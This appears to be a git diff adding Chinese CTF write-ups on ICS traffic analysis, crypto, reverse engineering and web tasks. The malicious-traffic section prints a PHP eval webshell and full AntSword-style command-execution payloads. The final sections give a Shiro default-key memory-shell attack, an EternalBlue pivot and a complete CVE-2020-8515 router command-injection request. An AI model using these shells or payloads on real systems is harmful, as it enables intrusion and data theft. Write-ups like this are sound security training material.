b = bytearray(bytes.fromhex("66736D6E2446747E787D65254F647E677563327A796579656C395B5E4F177772504E505704474F49495A494245274742405E4047145D574450555359365B4C502D612A2B2C652F2A3826383F6C2B222E375B332027302423783F363A3B06646A3D415F5E4442000B090E114C4C0C000B50171E12132E5B4642245A46415D5902A78BE9E6FDA5BBA7EAAEBEEFB5ECB9BFA0A1A3A3A0A6A1BDB2B3BD91F0BDA3BFCCC4CC8BCFC0DF8EA2C4CFD8DFCCC9CA908C92D193F1D997C1D6CF9BD9CBDBCDE0A7A7A6A8E9E6A1ADACA6EBBFA2EEBFB1A1B7A1F4A1BEBEB6F5FA97B5B6BBFF81C18A8C919683C7878FCA888D9F8A9CDCD1BD9D91D5949B978EDA9D8E9293DF6360746A6A62266E662E2A202C6F67617162717A7D3B6379707C6277757B67374840514B484C44095B414B19191B064455481B1D5C504E53515E5F48481517161B7B7373194F2F3168746A2D202C2914656B7F62095F3B322B2A3B3C397D637F0D041110050203474349081218081D47581D525E5419131950141F080F1C191AA9A1A7A3E8ACA6ADA8EAE2F9A4E1AEA2B0FDF7FDBCF8F3E4EBF8FDFEB5BDBBBFCC888E83C1CBC5C8CCC0C4CC8C908E88C5C5D49E8C929FBDD9DCC99B819DFFFA93EFACA6B3EDADA2B1E5EA8A899EE0829F95978C979795FBF8B0ACF2D6ADACB68E95CA818D8B87948B8083C58488968399978BDB959085D99D979989858D8AD76D6471706562632E21200028262724253A3B38393E3F3C3D32333031363734350A0B08090E0F0C0D02030001060704051A1B18191E1F1C1D12131011161714156A6B68696E6F6C6D62636061666764657A7B78797E7F7C7D72737071767774754A4B48494E4F4C4D42434041464744455A5B58595E5F5C5D5253505156575455AAABA8A9AEAFACADA2A3A0A1A6A7A4A5BABBB8B9BEBFBCBDB2B3B0B1B6B7B4B58A8B91C5C6C49093C9CD9DC99B95989886D4868580868F828980838F8E898D8FF2A3F0F2A6F7A4F6FFADA8F9C6"))
|
||||
for i in range(len(b)):
|
||||
b[i] = 0xff & (b[i] ^ i)
|
||||
print(b)
|
||||
```
|
||||
|
||||

|
||||
|
||||
发现蹦出来个`python`代码,这就是上面说的`You Got it!\nNow, try to resolve this crypto...\n`?这套娃...
|
||||
|
||||

|
||||
|
||||
这已知`key`高位,然后`key`又被`sha256`了一波扔到`m`结尾去了,然后`message = message + bytes((l - len(message) % l) * chr(l - len(message) % l), encoding = 'utf-8')`就是`padding`操作,最后flag当成`iv`用,加密结果只告诉了低位。
|
||||
|
||||
这就是[ezAES](https://ctftime.org/writeup/23237)这题改的。
|
||||
|
||||
所以咱就按照这个wp的思路来。
|
||||
|
||||
首先`AES/CBC/PKCS7Padding`的特性有:
|
||||
1. 分段加密,每段16字节,上一段的加密结果会当作下一段的`iv`去使用
|
||||
2. 用来填充的数据每字节内容和其长度相等,如`01`、`0202`、`030303`这种
|
||||
|
||||
那么咱们就可以将加密结果的最后16字节和倒数第二个16字节取出来,即`78676e464395199424302b21b2b17db2`和`**********************3fba64ad7b`。
|
||||
|
||||
然后将`**********************3fba64ad7b`当成`iv`去解密`78676e464395199424302b21b2b17db2`,至于`key`,爆破就完事。
|
||||
|
||||
至于爆破是否正确的判断,当然是利用`padding`特性了,根据题目的加密脚本我们可以知道`m`的长度是`84+10=94`,也就是说需要填充`0202`,那咱们拿上面wp里的脚本改改就行:
|
||||
|
||||
```python
|
||||
import binascii
|
||||
from Crypto.Cipher import AES
|
||||
|
||||
def decrypt(message, passphrase, iv):
|
||||
aes = AES.new(passphrase, AES.MODE_CBC, iv)
|
||||
return aes.decrypt(message)
|
||||
|
||||
def find_key():
|
||||
keytmp = '4d9a700010437{}{}{}'
|
||||
for c1 in "0123456789abcdef":
|
||||
for c2 in"0123456789abcdef":
|
||||
for c3 in "0123456789abcdef":
|
||||
tmp = decrypt(
|
||||
binascii.unhexlify('78676e464395199424302b21b2b17db2'),
|
||||
keytmp.format(c1, c2, c3).encode('utf8'),
|
||||
binascii.unhexlify('0' * 22 + '3fba64ad7b'),
|
||||
)
|
||||
if 2 == tmp[-1] == tmp[-2]:
|
||||
print(keytmp.format(c1, c2, c3))
|
||||
|
||||
find_key()
|
||||
```
|
||||
|
||||

|
||||
|
||||
所以`key`大概率就是`4d9a7000104376fe`了。
|
||||
|
||||
然后已知`m`和`key`求`iv`这个属于是密码学题目基本操作了,抄一下上面wp的脚本稍微改一下就行:
|
||||
|
||||
```python
|
||||
import binascii
|
||||
import hashlib
|
||||
from Crypto.Cipher import AES
|
||||
|
||||
def encrypt(message,passphrase,iv):
|
||||
aes = AES.new(passphrase, AES.MODE_CBC, iv)
|
||||
return aes.encrypt(message)
|
||||
|
||||
def decrypt(message, passphrase, iv):
|
||||
aes = AES.new(passphrase, AES.MODE_CBC, iv)
|
||||
return aes.decrypt(message)
|
||||
|
||||
key = b"4d9a7000104376fe"
|
||||
message = b"Do you ever feel, feel so paper thin, Like a house of cards, One blow from caving in"\
|
||||
+ binascii.unhexlify(hashlib.sha256(key).hexdigest())[:10]\
|
||||
+ b"\x02\x02"
|
||||
IV = b'yellow_submarine'
|
||||
|
||||
arbitrary = binascii.hexlify(encrypt(message, key, IV))
|
||||
encrypted = '******************************************************************************************************************************************************3fba64ad7b78676e464395199424302b21b2b17db2'.replace('*', '0')
|
||||
encrypted = [encrypted[i:i+32] for i in range(0, len(encrypted), 32)]
|
||||
arbitrary = [arbitrary[i:i+32] for i in range(0, len(arbitrary), 32)]
|
||||
|
||||
def guess_block(flag_block, correct_block, correct_iv):
|
||||
c1 = decrypt(binascii.unhexlify(flag_block), key, binascii.unhexlify(b'0' * 32))
|
||||
c2 = decrypt(binascii.unhexlify(correct_block), key, binascii.unhexlify(correct_iv))
|
||||
result = b''
|
||||
for i in range(16):
|
||||
result += bytes([c1[i] ^ c2[i]])
|
||||
return binascii.hexlify(result)
|
||||
|
||||
for i in range(1, len(arbitrary) + 1):
|
||||
if i == len(arbitrary):
|
||||
e2 = binascii.hexlify(IV)
|
||||
else:
|
||||
e2 = arbitrary[-i - 1]
|
||||
tmp = guess_block(encrypted[-i], arbitrary[-i], e2)
|
||||
if i == len(arbitrary):
|
||||
flag = binascii.unhexlify(tmp)
|
||||
else:
|
||||
encrypted[-i - 1] = tmp
|
||||
|
||||
print(flag.decode('utf8'))
|
||||
```
|
||||
|
||||
所以最后flag就出来了。
|
||||
|
||||

|
||||
|
||||
> `flag{72713126e9b90eab}`
|
||||
@@ -0,0 +1,166 @@
|
||||
# 2022河南工业互联网安全大赛复赛-工控Writeup
|
||||
> IOTsec-Zone
|
||||
> 来源:https://www.iotsec-zone.com/article/307
|
||||
|
||||
## HNGK-流量分析
|
||||
打开过滤mms,然后直接搜索flag发现有个列目录的返回结果。
|
||||

|
||||
|
||||
再往下找有个fileOpen的操作。
|
||||

|
||||
|
||||
继续往后找也是上面这俩个操作,那么就过滤一下fileOpen的操作去拿打开后的标识符然后看看用哪了。
|
||||
|
||||
有4次打开操作。
|
||||
|
||||

|
||||
|
||||
那就过滤出这几个的返回包,拿到标识符。
|
||||
|
||||

|
||||
|
||||
不过有个返回包没解析出来,先不管,看看能不能用过滤出来的三个标识符找到其fileFead操作。
|
||||
|
||||

|
||||
|
||||
成功找到,那就看看这个请求的响应是什么。
|
||||
|
||||
结果没过滤出来东西。
|
||||
|
||||

|
||||
猜测是wireshark没解析成功,那就去掉过滤看看下一个包是什么,这个流量包里的请求和响应都是挨在一起的。
|
||||
|
||||

|
||||
|
||||
似乎是因为长度没解析对。
|
||||
|
||||
反正看见base64格式的图片了,先提取出来。
|
||||
|
||||
发现图片内容就是flag。
|
||||
|
||||

|
||||
|
||||
flag{ICS-mms104}
|
||||
|
||||
HNGK-MMS
|
||||
拿到流量包后发现打不开,扔到010发现其实是个压缩包,于是再解压一次。
|
||||
|
||||

|
||||
|
||||
遍历一遍mms,发现有两条请求的item比较奇怪。
|
||||
|
||||

|
||||
|
||||
而66正好是f的ascii。
|
||||
|
||||
所以猜测可能是有位移,但是十六进制的字母必然不可能有ij这种东西,所以猜测可能是先把字母往小移,但是不知道具体偏移是多少,那就一个一个试过去,然后移完之后解一下hex看看能出来啥。
|
||||
|
||||
先从偏移为4开始,因为至少要4才能让ij移到ef这种合理的hex。
|
||||
|
||||
```python
|
||||
import string
|
||||
|
||||
flag = bytearray(b"666i5250356j4249"b"616732557968356j")
|
||||
for i in range(len(flag)):
|
||||
if flag[i] in string.ascii_lowercase.encode():
|
||||
flag[i] -= 4
|
||||
print(flag)
|
||||
print(bytes.fromhex(flag.decode()))
|
||||
```
|
||||

|
||||
但是好像没啥规律,继续尝试到偏移为6的时候发现fl和ag。
|
||||
|
||||

|
||||
尝试将前后半段每两字节拼接,得到`flagRP2U5myhBI5m`,拼上括号提交发现正确。
|
||||
|
||||
flag{RP2U5myhBI5m}
|
||||
|
||||
## HNGK-modbus
|
||||
这题筛选modbus之后发现function是有规律循环的:17, 109, 65, 1, 1, 3, 3, 67。
|
||||
|
||||

|
||||
|
||||
于是尝试提取发送方所有的func_code和帧id,然后跑一轮看看有没有多了或者少了的。
|
||||
|
||||
```
|
||||
tshark -r .\modbus.pcap -Y "modbus && ip.src==172.31.14.123" -T fields -e "frame.number" -T fields -e "modbus.func_code" > data.txt
|
||||
```
|
||||
发现1648帧多了个1。
|
||||
|
||||
```
|
||||
data = []
|
||||
with open("data.txt", 'r') as f:
|
||||
for line in f:
|
||||
data.append(line.strip().split('\t'))
|
||||
|
||||
base = ['17', '109', '65', '1', '1', '3', '3', '67']
|
||||
p = 0
|
||||
for i in data:
|
||||
if i[1] != base[p % len(base)]:
|
||||
print(i)
|
||||
p += 1
|
||||
```
|
||||
|
||||

|
||||
|
||||
过去看了下发现确实是多了个1,不过上下对比一下发现实际上多出来的是1642数据包,因为这个1541在其他地方没出现过。
|
||||
|
||||
而1642数据包在提取结果里是539条,直接忽略这条再跑一遍看看还有没有异常的。
|
||||
```
|
||||
data = []
|
||||
with open("data.txt", 'r') as f:
|
||||
for line in f:
|
||||
data.append(line.strip().split('\t'))
|
||||
|
||||
base = ['17', '109', '65', '1', '1', '3', '3', '67']
|
||||
p = 0
|
||||
for i in data:
|
||||
if p == 539:
|
||||
continue
|
||||
if i[1] != base[p % len(base)]:
|
||||
print(i)
|
||||
p += 1
|
||||
```
|
||||
直接跑完没有异常。
|
||||
|
||||

|
||||
|
||||
尝试提交flag{1642}或者flag{1642+1643}但是都不对。
|
||||
|
||||
于是怀疑可能数据包异常点不是func而是其内容。
|
||||
|
||||
那么只能挨个func的数据筛选过去看看有没有异常了。
|
||||
|
||||
先把17给发送和返回过滤一遍:`(modbus.func_code == 17) && !(!modbus.data) && !(modbus.data == 06:00:00)`。
|
||||
|
||||

|
||||
|
||||
发现没有异常的,那就再看109的:`((modbus.func_code == 109) && !(modbus.data == 54)) && !(modbus.data == 00)`。
|
||||
|
||||

|
||||
|
||||
发现也没有,再看65的:((modbus.func_code == 65) && !(modbus.data == a8:b9:09:00:0c:01:06:02:06:03:06:04:06:05:06:06:06:07:06:00:06)) && !(modbus.data == 02:fe:00)。
|
||||
|
||||

|
||||
|
||||
还是没有,再看1的:`((((modbus.func_code == 1) && !(modbus.reference_num == 0)) && !(modbus.reference_num == 1536)) && !(frame[63] == 00)) && !(frame[63] == fe)`。
|
||||
|
||||

|
||||
|
||||
发现两对数据包有异常,比之前找的多了一对,所以实际上异常是多了一个和改了一个。
|
||||
|
||||
尝试提交flag{1642+5485},发现正确。
|
||||
|
||||
flag{1642+5485}
|
||||
|
||||
## HNGK-奇怪的工控协议
|
||||
看了下协议分布,最主要的modbus,不过`iec60870_104`和`iec60870_asdu`也不算少。
|
||||
|
||||

|
||||
在modbus里面翻了半天也没看到啥有用的东西,然后去iec60870_104翻了下直接发现了flag。
|
||||
|
||||

|
||||
|
||||
flag{sort__104}
|
||||
|
||||
|
||||
@@ -0,0 +1,222 @@
|
||||
# 2024中国工业互联网安全大赛智能家电行业赛道 writeup by Mini-Venom
|
||||
> ChaMd5
|
||||
> 来源:https://www.iotsec-zone.com/article/452
|
||||
|
||||

|
||||
|
||||
# IOT
|
||||
|
||||
## BLE协议分析
|
||||
|
||||
在流量包中找到 link key
|
||||
dfc370110ba0a83ba1dffefcbab6616c
|
||||
使用binwalk
|
||||
binwalk -e ble.pcap
|
||||
|
||||

|
||||
提取到压缩包,使用link key解密得到flag
|
||||
|
||||

|
||||
|
||||
## 固件恶意修改
|
||||
|
||||
直接binwalk,逆向libc.so,看到flag字符串拉出来异或0x13即可:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
# ICS
|
||||
## 异常工控流量
|
||||
|
||||

|
||||
|
||||
发现有图片,筛选一下对话
|
||||
|
||||

|
||||
发现每个会话中传输数据时会有26个字符的冗余数据,我们剔除一下
|
||||
|
||||
```python
|
||||
def remove_first_26_characters_from_file(input_file, output_file):
|
||||
with open(input_file, 'r', encoding='utf-8') as infile, open(output_file, 'w', encoding='utf-8') as outfile:
|
||||
for line in infile:
|
||||
if len(line) > 26:
|
||||
outfile.write(line[26:])
|
||||
else:
|
||||
outfile.write("\n")
|
||||
|
||||
input_file = '1.txt'
|
||||
output_file = '2.txt'
|
||||
remove_first_26_characters_from_file(input_file, output_file)
|
||||
```
|
||||
|
||||
删除换行后保存,但其实这个里面有5张图片,
|
||||
|
||||

|
||||
|
||||
所以我们还要foremost处理一下:
|
||||
|
||||

|
||||
|
||||
## UDP协议分析
|
||||
|
||||

|
||||
|
||||
IEC104规约
|
||||
|
||||
看到ASCII码,直接手撕即可:
|
||||
|
||||

|
||||
|
||||
# Crypto
|
||||
## RSA基础
|
||||
|
||||
共模攻击,exp:
|
||||
|
||||
```python
|
||||
c1 =282705666501444854624030335843070278110513999208659624119132353417421877320974174726185723115883739375603575539776684289142842081107540752217713310938886388438765148683666503760319981604000841079147612861242547174901151960326185178594145796272575965121308396667074309893237298402981092205251435016486788355557005100976024481986488241332897816063646036029173817781914329777829
|
||||
c2 =19779823413362200485724149034181018999410626485138088903284373558580616789569485657574219218963582906498915197615166461344813005314601583353879854456996384771611224182224314328699916590207979217040630122659016196173896894143014133285344419385684770427047708769088078011203493463005336960259880317647033975742421041071189257432803790499356057590994991391605641521779836861778658020794054290457012449182530332757413136817938054644562477837440962036207078499430458903340248503943892760759128605500003626883373592832713373873793856007995860587980373325336088814954403731749322597283094105727377495665913500828541311250125
|
||||
n = 24866250804505220218021129477484568516463472283723642072878571290335870619105804830823116205886290964965394872910452503069396984759129562070393515671275407311508237739944634226857150890458268632605358633616031418076608519871923398298948052896198945015398352362000371666214905121198052253192761994934148606149933191728295444634540686915579254197309033452299738379299252926144007809221771616214106556442176944539578493279760907351585075298726128493600470601333121139581042597139052755429088012111156725917525172320925107023532695431754652983139199688263292810675849198042528240794130276172752316953055879930331587217697
|
||||
e1 = 3
|
||||
e2 = 17
|
||||
g,r,s = gmpy2.gcdext(e1, e2)
|
||||
m = pow(c1, r , n) * pow(c2, s, n) % n
|
||||
m = iroot(m,g)[0]
|
||||
print(long_to_bytes(m))
|
||||
```
|
||||
|
||||
# MISC
|
||||
## 恶意流量分析
|
||||
|
||||
先分析第一个shell:
|
||||
|
||||
```sh
|
||||
header("HTTP/1.1 404 Not Found");
|
||||
foreach($_POST as $k => $v){$_POST[$k]=@pack("H*", $v);}
|
||||
ob_start();
|
||||
@eval($_POST['ant']);
|
||||
$output = ob_get_clean();
|
||||
echo base64_encode($output);
|
||||
?>
|
||||
```
|
||||
|
||||
传参ant
|
||||
|
||||

|
||||
|
||||
```php
|
||||
@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.6490fca760";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return @base64_encode($out);};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "486"."62e2";echo @asenc($output);echo "8810"."3adb5";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
|
||||
```
|
||||
|
||||
和蚁剑差不多,返回包删掉前后添加的多余字符解密一下
|
||||
|
||||

|
||||
|
||||
下一个流有新的shell
|
||||
|
||||
```php
|
||||
@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.b5458";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return @base64_encode($out);};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "1518c"."d5b0d";echo @asenc($output);echo "1c61"."78f7";}ob_start();try{$p=base64_decode(substr($_POST["protocol"],10));$s=base64_decode(substr($_POST["source"],10));$envstr=@base64_decode(substr($_POST["declaring"],10));$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";if(substr($d,0,1)=="/"){@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");}else{@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");}if(!empty($envstr)){$envarr=explode("|||asline|||", $envstr);foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace("|||askey|||", "=", $v));}}}$r="{$p} {$c}";function fe($f){$d=explode(",",@ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runshellshock($d, $c) {if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (fe('error_log')) {error_log("a", 1);} else {mail("[email protected]", "", "", "-bv");}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);return True;}}return False;};function runcmd($c){$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);if(fe('system')){@system($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join("
|
||||
",$o));}elseif(fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}elseif(fe('proc_open')){$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);while(!@feof($io[1])){print(@fgets($io[1],2048));}while(!@feof($io[2])){print(@fgets($io[2],2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);}elseif(fe('antsystem')){@antsystem($c);}elseif(runshellshock($d, $c)) {return $ret;}elseif(substr($d,0,1)!="/" && @class_exists("COM")){$w=new COM('WScript.shell');$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$se=$e->StdErr();$ret.=$se->ReadAll();print($ret);}else{$ret = 127;}return $ret;};$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={$ret}":"";;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
|
||||
```
|
||||
|
||||
也有了新的参数procotl source等,然后追一下逐个解密,发现把flag通过这些参数写到了flag.txt中,找到有flag.txt所在的流量包,剔除前面多余字符解密即可
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
flag{D4572AA3A3D97DDEABD52DF47DA3AD0F}
|
||||
|
||||
# WEB
|
||||
## 应用逻辑异常
|
||||
|
||||
```js
|
||||
!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U||function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create||function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init||(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();return t.init.apply(t,arguments),t},init:function(){},mixIn:function(t){for(var e in t)t.hasOwnProperty(e)&&(this[e]=t[e]);t.hasOwnProperty("toString")&&(this.toString=t.toString)},clone:function(){return this.init.prototype.extend(this)}},l=n.WordArray=o.extend({init:function(t,e){t=this.words=t||[],this.sigBytes=null!=e?e:4*t.length},toString:function(t){return(t||c).stringify(this)},concat:function(t){var e=this.words,r=t.words,i=this.sigBytes,n=t.sigBytes;if(this.clamp(),i%4)for(var o=0;o<n;o++){var s=r[o>>>2]>>>24-o%4*8&255;e[i+o>>>2]|=s<<24-(i+o)%4*8}else for(var c=0;c<n;c+=4)e[i+c>>>2]=r[c>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=h.ceil(e/4)},clone:function(){var t=o.clone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)try{return i.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}());return new l.init(e,t)}}),s=t.enc={},c=s.Hex={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n<r;n++){var o=e[n>>>2]>>>24-n%4*8&255;i.push((o>>>4).toString(16)),i.push((15&o).toString(16))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i<e;i+=2)r[i>>>3]|=parseInt(t.substr(i,2),16)<<24-i%8*4;return new l.init(r,e/2)}},a=s.Latin1={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n<r;n++){var o=e[n>>>2]>>>24-n%4*8&255;i.push(String.fromCharCode(o))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i<e;i++)r[i>>>2]|=(255&t.charCodeAt(i))<<24-i%4*8;return new l.init(r,e)}},f=s.Utf8={stringify:function(t){try{return decodeURIComponent(escape(a.stringify(t)))}catch(t){throw new Error("Malformed UTF-8 data")}},parse:function(t){return a.parse(unescape(encodeURIComponent(t)))}},d=n.BufferedBlockAlgorithm=o.extend({reset:function(){this._data=new l.init,this._nDataBytes=0},_append:function(t){"string"==typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4*o),c=(s=t?h.ceil(s):h.max((0|s)-this._minBufferSize,0))*o,n=h.min(4*c,n);if(c){for(var a=0;a<c;a+=o)this._doProcessBlock(i,a);e=i.splice(0,c),r.sigBytes-=n}return new l.init(e,n)},clone:function(){var t=o.clone.call(this);return t._data=this._data.clone(),t},_minBufferSize:0}),u=(n.Hasher=d.extend({cfg:o.extend(),init:function(t){this.cfg=this.cfg.extend(t),this.reset()},reset:function(){d.reset.call(this),this._doReset()},update:function(t){return this._append(t),this._process(),this},finalize:function(t){return t&&this._append(t),this._doFinalize()},blockSize:16,_createHelper:function(r){return function(t,e){return new r.init(e).finalize(t)}},_createHmacHelper:function(r){return function(t,e){return new u.HMAC.init(r,e).finalize(t)}}}),t.algo={});return t}(Math);function K(t,e,r){return t&e|~t&r}function X(t,e,r){return t&r|e&~r}function L(t,e){return t<<e|t>>>32-e}function j(t,e,r,i){var n,o=this._iv;o?(n=o.slice(0),this._iv=void 0):n=this._prevBlock,i.encryptBlock(n,0);for(var s=0;s<r;s++)t[e+s]^=n[s]}function T(t){var e,r,i;return 255==(t>>24&255)?(r=t>>8&255,i=255&t,255===(e=t>>16&255)?(e=0,255===r?(r=0,255===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i):t+=1<<24,t}function N(){for(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0<E[4]>>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0<E[5]>>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0<E[6]>>>0?1:0)|0,this._b=e[7]>>>0<E[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;R[Line truncated
|
||||
var enc = "LrcNR2XwpNQMORyv85ae1GY16H3aKPkdSyAhv726TgNNTukxUmYvFb0XNnT4QWAZ";
|
||||
var REQ = "bool";
|
||||
alert(CryptoJS.AES.decrypt(enc, CryptoJS.enc.Utf8.parse(REQ), {
|
||||
mode : CryptoJS.mode.ECB,
|
||||
padding : CryptoJS.pad.Pkcs7
|
||||
}).toString(CryptoJS.enc.Utf8));
|
||||
|
||||
```
|
||||
|
||||
直接跑js代码exp即得flag:flag{39383121F5545635A5EE13C356F8AA18}
|
||||
|
||||
# REVERSE
|
||||
## 简单逆向
|
||||
|
||||
ida打开直接有
|
||||
|
||||

|
||||
|
||||
## 安卓逆向工程
|
||||
|
||||

|
||||
|
||||
```java
|
||||
public void ch3ckflag() {
|
||||
if (DonUtils.c(sin() + this.editText.getText().toString() + c().substring(22, 41)).replaceAll("\\s+", "").equals("ZjgyNWFiMGE3ZTlkYjFmZDNlZmUxZDliMzI1MzcxZWJObVlMcklJb0w2ZmFBckprQmhjM05aUkdObVJXWjBhVTlxYw==")) {
|
||||
Toast.makeText(this, "flag{" + this.editText.getText().toString() + "}", 0).show();
|
||||
} else {
|
||||
Toast.makeText(this, "wrong", 0).show();
|
||||
}
|
||||
}
|
||||
|
||||
public static String getMD5(PackageManager packageManager, String str) {
|
||||
try {
|
||||
Signature signature = packageManager.getPackageInfo(str, 64).signatures[0];
|
||||
MessageDigest messageDigest = MessageDigest.getInstance("MD5");
|
||||
messageDigest.update(signature.toByteArray());
|
||||
byte[] digest = messageDigest.digest();
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (byte b : digest) {
|
||||
sb.append(Integer.toString((b & UByte.MAX_VALUE) + 256, 16).substring(1));
|
||||
}
|
||||
return sb.toString();
|
||||
} catch (PackageManager.NameNotFoundException | NoSuchAlgorithmException e) {
|
||||
e.printStackTrace();
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public String sin() {
|
||||
return getMD5(getPackageManager(), DonUtils.d("Y29tLmhhaGFoYS5rZWVwc2ltcGxl"));
|
||||
}
|
||||
md5 + flag + str,故那个base64解码后中间部分就是 flag
|
||||
md5 32字节,str 19字节,掐头去尾获得 flag:flag{NmYLrIIoL6faArJk}
|
||||
```
|
||||
|
||||
# 智能制造
|
||||
## 业务系统
|
||||
|
||||
直接shiro打个内存马,key是默认的:
|
||||
|
||||
kPH+bIxk5D2deZiIxcaaaA==
|
||||
|
||||
flag在/root/flag.txt:
|
||||
|
||||

|
||||
|
||||
## 智能智造上位机
|
||||
|
||||
直接拿刚才的shiro机器frp搭个隧道代理出来当跳板msf永恒之蓝直接梭了,flag在C:\Users\Administrators\Desktop\flag.txt
|
||||
|
||||
## vigor_router_路由器
|
||||
|
||||
CVE-2020-8515,POC直接发包打:
|
||||
|
||||
```sh
|
||||
POST /cgi-bin/mainfunction.cgi HTTP/1.1
|
||||
Host: 192.26.2.142
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 88
|
||||
|
||||
action=login&keyPath=%27%0acat${IFS}/flag.txt%0a%27&loginUser=TenMap1e&loginPwd=TenMap1e
|
||||
```
|
